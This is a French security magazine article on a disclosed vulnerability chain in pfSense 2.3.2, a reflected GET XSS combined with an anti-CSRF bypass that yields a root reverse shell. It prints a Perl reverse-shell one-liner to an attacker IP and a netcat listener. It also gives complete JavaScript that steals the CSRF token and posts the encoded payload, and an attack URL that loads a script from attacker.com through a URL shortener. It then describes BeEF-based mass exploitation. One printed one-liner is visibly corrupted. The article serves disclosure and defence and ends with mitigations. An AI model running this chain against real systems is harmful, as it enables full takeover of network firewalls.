pfSense : obtention d’un reverse-shell root à partir d’une XSS

MISC n° 094 | novembre 2017 | Yann Cam
Creative Commons
  • Actuellement 0 sur 5 étoiles
0
Merci d'avoir participé !
Vous avez déjà noté cette page, vous ne pouvez la noter qu'une fois !
Votre note a été changée, merci de votre participation !
Les vulnérabilités XSS restent généralement sous-évaluées, inconsidérées, alors qu’elles permettent des méfaits d’une grande criticité. Le présent article détaille comment obtenir un reverse-shell root à partir d’une simple XSS GET via un cas concret : la distribution firewall-routeur pfSense 2.3.2.

Les Cross-Site Scripting, ces vulnérabilités orientées web ne datent pas d’hier et perdurent dans le Top10 de l’OWASP [01] depuis de nombreuses années. Extrêmement répandues, les XSS sont bien trop souvent jugées non-critiques, inexploitables ou très limitées. Toutefois, des attaques très sophistiquées peuvent être réalisées via ce vecteur initial qu’est l’XSS, surtout lorsqu’elles impactent des composants web sensibles. Certes, démontrer une XSS via une simple alert() lors d’un audit suffit pour en justifier la présence, mais n’illustre pas la dangerosité et le réel potentiel de ces vulnérabilités. D’une manière générale, les mœurs évoluent et les considèrent de plus en plus, notamment avec l’apparition de frameworks d’exploitation d’XSS tels que BeEF [02] permettant l’industrialisation (C&C) et l’exploitation en masse de ce type d’attaque. Pour prendre conscience du potentiel des XSS, analysons le cas de la distribution firewall-routeur pfSense 2.3.2.

1. pfSense

1.1 Une distribution firewall-routeur open source

pfSense [03], The World’s most Trusted open source Firewall, est une distribution basée sur FreeBSD destinée aux fonctionnalités de pare-feu/routeur, le tout orienté sécurité. Le projet pfSense a démarré en 2004 en tant que fork du projet m0n0wall [04], également une distribution firewall/routeur orientée sécurité.

Cette distribution est mise à disposition sous plusieurs formes (VM, ISO, appliance) et est très largement adoptée pour protéger des réseaux aussi bien de particuliers que d'entreprise.

pfSense s'administre intégralement via une console web (webgui) ainsi qu'une console SSH. Cette solution de firewall/routeur repose sur les technologies PHP et se veut aisée à administrer. Un système de store (package/module) permet d'enrichir les fonctionnalités de la distribution avec une multitude de composants.

1.2 Un exploit modernisé...

En 2012 [05], j'avais eu la chance (et le temps !) d'analyser un peu plus en détail le fonctionnement interne de cette solution, ce qui avait mené à la création d'un exploit d'obtention d'un reverse-shell root au travers d'une simple XSS. Depuis lors, les équipes et la communauté pfSense ont grandement renforcé et modernisé l'interface web d'administration du produit. Fin 2016/début 2017, je me suis penché à nouveau sur la dernière version de pfSense et il m'a été possible de moderniser cet exploit en contournant les nouveaux mécanismes de sécurité en place.

Le présent article est voué à illustrer la dangerosité d'une simple vulnérabilité XSS en paramètre GET paraissant anodine, XSS qui permet de contourner la plupart des protections en place (anti-CSRF via jetons aléatoires, vérification du referer, etc.), pour finalement établir un reverse-shell root sur l'ensemble du firewall/routeur. Un tel scénario peut s’illustrer au travers de la figure 1 [06].

Fig. 1 : Illustration générique d’obtention d’un reverse-shell via bypass CSRF et XSS

Pour rappel, une CSRF (Cross-Site Request Forgery) est une technique de soumission de formulaire HTML prérempli à l’insu de la victime, et ce de manière invisible.

Le cas concret de pfSense 2.3.2 [07] est détaillé par la suite.

1.3 Les nouvelles sécurités de pfSense

Les interfaces d'administration web telles que celles de gestion des routeurs, des commutateurs (switchs), des pare-feux (firewalls), permettant de modifier des configurations systèmes sont particulièrement critiques.

En effet, afin qu'un réglage effectué dans un formulaire web soit appliqué au niveau système, tout le process mis en place par la solution doit (devrait) vérifier les données entrantes, les nettoyer, les échapper, les contrôler (sanitization) avant de les exploiter dans un contexte privilégié (généralement au travers de commandes systèmes avec les droits root ou sudo).

Toute cette mécanique est d'une manière générale très présente et convenablement implémentée dans pfSense : si l'on modifie l'IP associée à une interface réseau via l'administration web, divers contrôles sont appliqués avant que le nouveau réglage soit effectif :

- est-ce bien le format d'une IPv4 ?

- n'y a-t-il pas de caractères suspects chaînant une commande ?

- le jeton CSRF envoyé avec le formulaire est-il valide ?

- la soumission du formulaire provient-elle du même contexte à savoir d'une page de pfSense lui-même (referer) ?

- est-ce que le formulaire a été soumis au sein d’une iframe ?

pfSense implémente en conséquence divers mécanismes de sécurité :

- la bibliothèque PHP CSRFMagic [08] permet d'inclure un jeton (token) anti-CSRF aléatoire dans tous les formulaires POST, protégeant de fait ce type d’attaques ;

- la valeur du referer de chaque requête POST est vérifiée afin de s'assurer que la soumission du formulaire est bien en provenance d'une page de pfSense lui-même, mitigeant également les attaques CSRF ;

- de nombreuses fonctions PHP sont utilisées de par les différentes pages pour vérifier, valider, contrôler le type, le format et les valeurs des données entrantes (cast et trans-typage, expressions régulières de validation, switch conditionnel, etc.) ;

- pour les données entrantes vouées à être incluses dans des commandes systèmes, ces valeurs sont échappées (escapeshellargs()) afin d'empêcher le chaînage de commande ;

- les données soumises par formulaires ne sont traitées qu'avec une authentification valide. Authentification associée à une session via un cookie protégé par HttpOnly ;

- pfSense est équipé de l'en-tête X-Frame-Origin=SameOrigin, ce qui empêche totalement l'inclusion d'une quelconque page de pfSense dans une frame/iframe externe.

Au regard de ces nouvelles mesures de sécurité, plongeons dans la distribution pour identifier les pages, le code source et les configurations d’intérêt en vue de les contourner et réaliser un potentiel exploit.

2. Analyse et identification de vulnérabilités unitaires

2.1 Page d’administration d’exécution de commande

Débutons par un tour dans la webgui d’administration. pfSense fournit une page accessible suite à une authentification en tant qu'administrateur (http://<PFSENSE>/diag_command.php), permettant d'exécuter des commandes shell (et du code PHP évalué) à la volée. Ces commandes sont exécutées en tant qu'utilisateur root directement donc avec le maximum de privilèges systèmes.

La page en question est bien évidemment limitée à une utilisation par les administrateurs uniquement, et les formulaires qu'elle détient sont sécurisés avec diverses techniques anti-CSRF (jeton aléatoire, analyse du referer, etc.).Cette page est donc d'un intérêt tout particulier pour un attaquant, car elle permettrait (sous réserve de contourner les sécurités en place) d'exécuter des commandes ou du code PHP en tant que root en exploitant un contexte de navigation d’un administrateur légitime.

- Si de tels formulaires sont soumis sans la bonne valeur du jeton anti-CSRF cachée parmi les champs légitimes (information que l’attaquant ne peut obtenir à distance), alors le formulaire soumis ne sera pas traité (sécurité via CSRF token) ;

- Et/ou, si le formulaire est soumis depuis un autre site (attacker.com) à destination d’une cible (pfsense.local), les noms d’hôtes étant différents, alors le formulaire ne sera pas traité (sécurité via analyse du referer).

La soumission d’un code PHP exécutant une commande système (via system()) à cette page /diag_command.php se fait au travers d’une requête POST (multipart/form-data ou non) composée de plusieurs variables :

txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=[PAYLOAD]&submit=EXECPHP&__csrf_magic=[CSRFTOKEN]

Exemple de requête légitime :

POST /diag_command.php HTTP/1.1

Host: pfsense.local

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: fr,en;q=0.8,fr_fr;q=0.5,en_us;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://pfsense.local/diag_command.php

Cookie: PHPSESSID=dfagq9hpco34k2sbff8eq5ppsj9rogb1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=---------------------------48182066331372

Content-Length: 870

-----------------------------48182066331372

Content-Disposition: form-data; name="__csrf_magic"

sid:88ec954d7d42767734f3ee341a324563dcb67659,1477052157

-----------------------------48182066331372

Content-Disposition: form-data; name="txtCommand"

-----------------------------48182066331372

Content-Disposition: form-data; name="txtRecallBuffer"

-----------------------------48182066331372

Content-Disposition: form-data; name="dlPath"

-----------------------------48182066331372

Content-Disposition: form-data; name="ulfile"; filename=""

Content-Type: application/octet-stream

-----------------------------48182066331372

Content-Disposition: form-data; name="txtPHPCommand"

phpinfo();

-----------------------------48182066331372

Content-Disposition: form-data; name="submit"

EXECPHP

-----------------------------48182066331372--

Bien évidemment, sans le [CSRFTOKEN] valide pour la session courante ainsi que l’en-tête referer associée au domaine du pfSense, l’exploitation à ce stade n’en est que restreinte.

Avant d’aller plus loin, quels types de commandes sont disponibles au sein de la distribution pour établir un reverse-shell distant ?

2.2 Préparation d’un reverse-shell one-liner

Poursuivons l’analyse en SSH directement sur la distribution. Au regard des binaires, commandes et modules disponibles au sein de la distribution pfSense, l’exploitation de perl semble judicieuse pour réaliser une commande one-liner permettant l'obtention d'un reverse-shell root à distance [09]. Perl 5.20.3 est disponible sur cette distribution et permet l’exécution mono-ligne de la commande suivante :

/usr/local/bin/perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[ATTACKER_PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STen(STDERR,">&S");exec("/bin/sh -i");};'

Cette commande perl ouvre un socket TCP à destination de l’IP et le port défini par l’attaquant, en vue de rediriger l’entrée et la sortie standard du processus /bin/sh.

En remplaçant [ATTACKER_IP] et [ATTACKER_PORT] par les valeurs propres de l'attaquant, et après avoir mis un netcat en écoute (nc -l -vv -p [ATTACKER_PORT]), un reverse-shell avec les droits root est récupéré sur le poste de l’attaquant à distance.

En encapsulant cette commande perl via la fonction system() de PHP, et en soumettant l’ensemble url-encodé en POST à la page /diag_command.php, le reverse-shell est bel et bien obtenu (toujours sous réserve d’avoir le bon referer et le bon token CSRF, que l’on renseigne manuellement pour l’instant).

Fig. 2 : Établissement d’un reverse-shell root sur le pfSense à partir de la page diag_command.php.

2.3 À la GET d’une XSS...

Creusons le code source de la webgui. À ce stade de l’analyse et en vue de développer un exploit, la problématique du jeton CSRF inclus dans tous les formulaires POST présents au sein de la webgui de pfSense, ainsi que l’analyse du referer pour ces mêmes requêtes est toujours présente empêchant l’automatisation de l’attaque.

Seule une XSS en paramètre GET impérativement (directement incluse dans l’URL) permettrait de contourner ces sécurités puisque toutes les soumissions en POST sont protégées via PHP CSRFMagic.

Lors de l’analyse du code source PHP de la webgui de pfSense (localisé dans /usr/local/www/), bon nombre de vulnérabilités XSS en POST se sont avérées présentes. Toutefois, il est impératif que celle-ci soit en GET afin de se déclencher sans un quelconque jeton CSRF.

En ne s’attardant que sur les fichiers *.php du cœur de pfSense (sans plonger dans les innombrables addons), l’objectif va être de déceler une telle vulnérabilité.

Le fichier status_captiveportal_expire.php semble particulièrement prometteur, notamment avec l’affectation de la variable $cpzone via $_GET[‘zone’] aux lignes 69 à 73 :

69: $cpzone = $_GET['zone'];

70: if (isset($_POST['zone'])) {

71:  $cpzone = $_POST['zone'];

72: }

73: $cpzone = strtolower($cpzone);

Cette variable initialisée via un paramètre GET sans aucun contrôle ni nettoyage est réfléchie dans le même fichier à diverses reprises au niveau des lignes 100 à 104 :

$tab_array[] = array(gettext("Active Users"), false, "status_captiveportal.php?zone={$cpzone}");
$tab_array[] = array(gettext("Active Vouchers"), false, "status_captiveportal_vouchers.php?zone={$cpzone}");
$tab_array[] = array(gettext("Voucher Rolls"), false, "status_captiveportal_voucher_rolls.php?zone={$cpzone}");
$tab_array[] = array(gettext("Test Vouchers"), false, "status_captiveportal_test.php?zone={$cpzone}");
$tab_array[] = array(gettext("Expire Vouchers"), true, "status_captiveportal_expire.php?zone={$cpzone}");

Il est ainsi possible d’injecter du code JavaScript arbitraire, réfléchi et non stocké en invoquant directement cette page et en jouant avec le paramètre GET zone (testé et validé avec la dernière version de Firefox en date 56) :

http://<PFSENSE>/status_captiveportal_expire.php?zone="><script>alert(‘1000o’);</script>

Fig. 3 : Déclenchement d’une alerte JavaScript illustrant la présence d’une XSS GET.

Bien d’autres XSS s’avèrent présentes (corrigées dans la version 2.3.3 de pfSense [10]), notamment :

- status_captiveportal.php: "order", "zone"

- status_captiveportal_expire.php: "zone"

- status_captiveportal_test.php: "zone"

- status_captiveportal_voucher_rolls.php: "zone"

- status_captiveportal_vouchers.php: "zone"

Nous avons donc à présent l’ensemble du matériel nécessaire permettant de concevoir un exploit automatique et industrialisé à l’encontre de cette distribution pfSense 2.3.2.

3. Exploitation et chaînage des vulnérabilités unitaires

Une XSS GET exploitable ouvre la porte au contournement de toutes les autres protections. Via cette XSS GET, il est possible de charger un fichier JavaScript tiers (http://attacker.com/x.js) qui contiendra un enchaînement d’instructions qui s’exécuteront dans le contexte de navigation de la victime sur pfSense (le sysadmin-victime, voir figure 1, étape 1 à 3).

En effet, être en capacité d’injecter du JavaScript arbitraire dans un contexte de navigation d’une victime permet à l’attaquant de contrôler pleinement la navigation de celle-ci (accéder aux autres pages en mode authentifié, soumettre des formulaires, tout ce que l’utilisateur légitime peut réaliser dans l’interface web peut être automatisé en JavaScript). Voyons les étapes de réalisation de ce fichier tiers :

- capturer un jeton anti-CSRF valide dans le contexte de navigation ;

- générer un payload encodé ;

- soumettre le payload via une requête POST cachée comprenant le jeton anti-CSRF valide (CSRF bypass).

3.1 Capture d’un jeton CSRF valide

Via le code JavaScript arbitraire injecté dans le contexte pfSense, l’idée va être de réaliser une première requête AJAX sur la page diag_command.php pour en extraire un jeton anti-CSRF valide. Pour simplifier la syntaxe, JQuery est chargé à la volée via l’exploit (figure 1 étape 4) et donc la syntaxe JQuery est employée dans les exemples suivants.

// Function with JQuery AJAX request

// This function requests an internal WebGUI page, which contains the token.

// Source code of this webpage is passed to the extractToken() function.

function loadToken(){

 $.ajax({

  type: 'POST',

  url: '/diag_command.php',

  contentType: 'application/x-www-form-urlencoded;charset=utf-8',

  dataType: 'text',

  data: '',

  success:extractToken

 }); // after this request, we called the extractToken() function to extract the token

}

 

// Function called after AJAX request in a defined page of the context, which contains the token value

function extractToken(response){

 // response var contain the source code of the page requested by AJAX

 // Regex to catch the token value

 var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi');

 var token = response.match(regex);

 token = RegExp.$1;

 // Pass the token to the final function which make the CSRF final attack

 //alert(token);

 makeCSRF(token);

}

La fonction loadToken() réalise l’appel AJAX et récupère le code source HTML de la page diag_command.php. Ce code source est transmis à la fonction extractToken() qui extrait la valeur du jeton anti-CSRF présent dans le code source via une expression régulière (figure 1, étape 5 et 6).

Ce token est ensuite transmis à la fonction makeCSRF() détaillée par la suite.

3.2 Encodage du payload

Le jeton anti-CSRF récupéré, celui-ci va pouvoir être soumis en POST avec la charge d’établissement du reverse-shell.

Afin de rendre dynamique l’IP et le PORT de l’attaquant pour établir le reverse-shell, ceux-ci sont transmis via des ancres dans le navigateur #lhost=[ATTACKER_IP]&lport=[ATTACKER_PORT].

Le payload est constitué de manière encodée comme suit :

var hash = window.location.hash.substring(1);

var lhost = hash.substring(hash.indexOf("lhost=")+6, hash.indexOf("&"));

var lport = hash.substring(hash.indexOf("lport=")+6, hash.length);

var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%27%29%3B';

3.3 Soumission du form-post (CSRF bypass)

Jeton anti-CSRF et payload reverse-shell définis, la fonction de soumission du formulaire POST contournant les protections anti-CSRF est générée (figure 1, étape 7 et 8) :

// This function use JQuery AJAX object.

// The token var is needed to perform the right CSRF attack with the context referer

function makeCSRF(token){

 // Final CSRF attack with right referer (because executed in the context)

 // and with right token captured above

 $.ajax({

  type: 'POST',

  url: '/diag_command.php',

  contentType: 'application/x-www-form-urlencoded;charset=utf-8',

  dataType: 'text',

  data: 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token

 }); // payload of your choice

}

En effet, ces requêtes asynchrones (en AJAX) se réaliseront dans le contexte de la webgui de pfSense, donc avec un referer valide, le cookie/session légitime de la victime et un jeton récupéré dynamiquement.

3.4 Déclenchement via URL unique

Comme vu précédemment, l’XSS est réfléchie plusieurs fois dans le code source retourné par la page. Ainsi, il convient de limiter l’exécution de l’exploit une et une seule fois via un trigger faisant office de singleton :

if (trigger){

} else {

 var trigger = function(){

  // Load JQuery dynamically in the targeted context

  var headx = document.getElementsByTagName('head')[0];

  var jq = document.createElement('script');

  jq.type = 'text/javascript';

  jq.src = 'http://code.jquery.com/jquery-latest.min.js';

  headx.appendChild(jq);

  // Waiting 2 secondes for correct loading of JQuery added dynamically.

  // Then, run the first AJAX request in the WebGUI context to retrieve the token

  setTimeout('loadToken()', 2000);

 };

 trigger();

}

En enrichissant le script x.js (version complète disponible sur l’advisory [11]) de l’attaquant de ces diverses fonctions, il ne reste plus qu’à concevoir l’URL finale qui sera destinée aux sysadmin-victimes de pfSense :

http://<PFSENSE>/status_captiveportal_expire.php?zone="><script src="http://attacker.com/x.js"></script>#lhost=[ATTACKER_IP]&lport=[ATTACKER_PORT]

Camoufler un peu cette URL via un url-shortener est d’usage (http://bit.ly/2svFbjA).

L’attaquant n’a plus qu’à faire aller un sysadmin-victime préalablement authentifié sur son pfSense sur cette URL et il recevra un reverse-shell root du firewall-routeur automatiquement (figure 1, étape 9). Une vidéo de démonstration complète a été réalisée https://www.youtube.com/watch?v=IWtf6LlfP_c [12].

4. Automatisation via le framework BeEF

Cet exploit a été intégralement industrialisé au sein de l’excellent framework d’exploitation dédié aux XSS du nom de BeEF framework [02], sous forme de module.

Il est ainsi possible au travers du tunnel-XSS généré par BeEF entre l’attaquant (C&C) et ses multiples victimes, de scanner le réseau local des victimes afin de trouver une potentielle instance de pfSense, puis de dérouler l’exploit précédemment détaillé en un clic avec pour objectif d’obtenir un reverse-shell root directement. La cinématique s’illustre via le schéma suivant :

Fig. 4 : Cinématique d’exploitation pfSense via BeEF.

Détails des étapes :

1- Les victimes, que nous appellerons les Messieurs Pigeons, se rendent sur un site/url vulnérable (XSS) mis en place par l’attaquant ;

2- Le code source HTML du site en question retourne au navigateur des victimes en incluant le code JavaScript chargeant le framework BeEF (XSS) ;

3- À cette étape, un tunnel asynchrone JavaScript-XSS est établi entre chaque navigateur des victimes et le serveur BeEF C&C de l’attaquant ;

4- L’attaquant peut exécuter les charges utiles (payload XSS) de son choix au travers du tunnel à destination des Monsieurs Pigeons ;

5- Les charges utiles, injectées dans le contexte de navigation des victimes (browsers), peuvent réaliser toutes sortes d’opérations, notamment un scan du réseau local (LAN interne) en vue d’identifier l’IP d’un potentiel firewall-routeur ;

6- Bingo ! Un pfSense a été identifié sur le réseau interne de la victime : la charge utile est transmise via le tunnel-XSS, puis du navigateur de la victime vers le pfSense interne afin d’établir un reverse-shell root avec l’attaquant, game over.

La vidéo de démonstration détaille également cet exploit via le framework BeEF en seconde partie (https://www.youtube.com/watch?v=IWtf6LlfP_c [12]).

L’illustration (figure 5) suivante détaille l’interface (C&C) de BeEF, avec la sélection de la victime dans le panneau de gauche, le choix du module d’attaque pfSense dans le second volet et la configuration du module tout à droite.

Fig. 5 : Module BeEF d’exploitation industrialisée de pfSense ≤ 2.3.2

5. Corrections, mitigation et bonnes pratiques

pfSense 2.3.2 intègre de nombreux mécanismes de sécurité, mais pourrait tout de même être renforcé. En effet, comme présenté, une simple XSS contourne toutes les protections et permet de corrompre une brique centrale et très convoitée au sein du SI : le firewall/routeur.

pfSense est protégé par le header X-Frame-Origin empêchant l’inclusion de la précédente URL d’attaque au sein d’une iframe. Ce qui engendre une redirection plutôt visible pour la victime. Toutefois, il est possible de rendre cet exploit quasi-transparent via une double-redirection (ce qui a été implémenté dans le framewok BeEF).

Ajouter un test de Turing (captcha) au sein des formulaires de la page diag_command.php réduirait considérablement l’exploitabilité d’une telle attaque.

pfSense pourrait également intégrer des en-têtes CSP pour éviter l’inclusion de fichier JavaSript tiers via des XSS, mais également d’autres headers tels que X-XSS-Protection ou des flags de sécurité au niveau des cookies tels que SameSite en plus de HttpOnly.

Mais les meilleures protections restent dès la source, le nettoyage, contrôle, et validation des données (GET/POST) soumises par les utilisateurs. Bloquer les XSS est impératif, au même titre que toutes les autres injections, cela peut également justifier l’intégration d’un WAF (Web Application Firewall) dans pfSense tel que mod_security [13].

Il serait idéal également que les exécutions de commandes systèmes au travers de la webgui ne se fassent pas via les droits root directement, mais au travers d’un compte utilisateur confiné et restreint au strict nécessaire et suffisant (sudo).

Conclusion et remerciements

Les XSS, bien qu’anodines et inconsidérées peuvent mener à des corruptions de serveurs critiques et engendrer de graves intrusions au sein des SI. Le présent article détaille pas-à-pas l’exploitation d’une XSS dans pfSense ≤ 2.3.2 menant à la compromission complète de la brique centrale de sécurité qu’est le firewall-routeur.

Si vous êtes équipés de pfSense, il est vivement recommandé de mettre à jour la distribution vers la dernière version stable (>= 2.3.3) [14] qui intègre des correctifs en encodant via htmlspecialchars() les réflexions afin d’éviter les XSS.

Pour finir, je tiens à retirer mon chapeau à  l’ensemble de la communauté pfSense pour leur distribution de qualité, que je continue d’utiliser et conseiller malgré l’existence de certaines faiblesses de sécurité. Salutations également à toute l’équipe de SYNETIS et notamment Georges T. pour son intérêt, ses conseils et sa motivation sur de tels sujets !

Références

[01] OWASP Top 10 2017, https://www.owasp.org/index.php/Top_10_2017-Top_10

[02] BeEF framework, http://beefproject.com/

[03] pfSense, https://www.pfsense.org/

[04] m0n0wall,http://m0n0.ch

[05] Asafety, [XSS & CSRF RCE] pfSense 2.0.1 Remote root Access, https://www.asafety.fr/vuln-exploit-poc/xss-csrf-rce-pfsense-2-0-1-remote-root-access/

[06] Asafety, CSRF Referer & Token protection bypass with XSS, https://www.asafety.fr/vuln-exploit-poc/csrf-referer-token-protection-bypass-with-xss/

[07] pfSense 2.3.2 New Features and Changes,https://doc.pfsense.org/index.php/2.3.2_New_Features_and_Changes

[08] GitHub csrf-magic, https://github.com/ezyang/csrf-magic

[09] Asafety, Reverse-shell one-liner Cheat Sheet,https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/

[10] pfSense-SA-17_01.webgui, https://www.pfsense.org/security/advisories/pfSense-SA-17_01.webgui.asc

[11] PacketStorm Security Advisory, pfSense 2.3.2 Cross Site Request Forgery/Cross Site Scripting,https://packetstormsecurity.com/files/141436/pfSense-2.3.2-Cross-Site-Request-Forgery-Cross-Site-Scripting.html

[12] Vidéo démonstration exploit XSS to reverse-shell root pfSense 2.3.2 : https://www.youtube.com/watch?v=IWtf6LlfP_c

[13] ModSecurity Open Source Web Application Firewall, https://modsecurity.org/

[14] pfSense download, https://www.pfsense.org/download/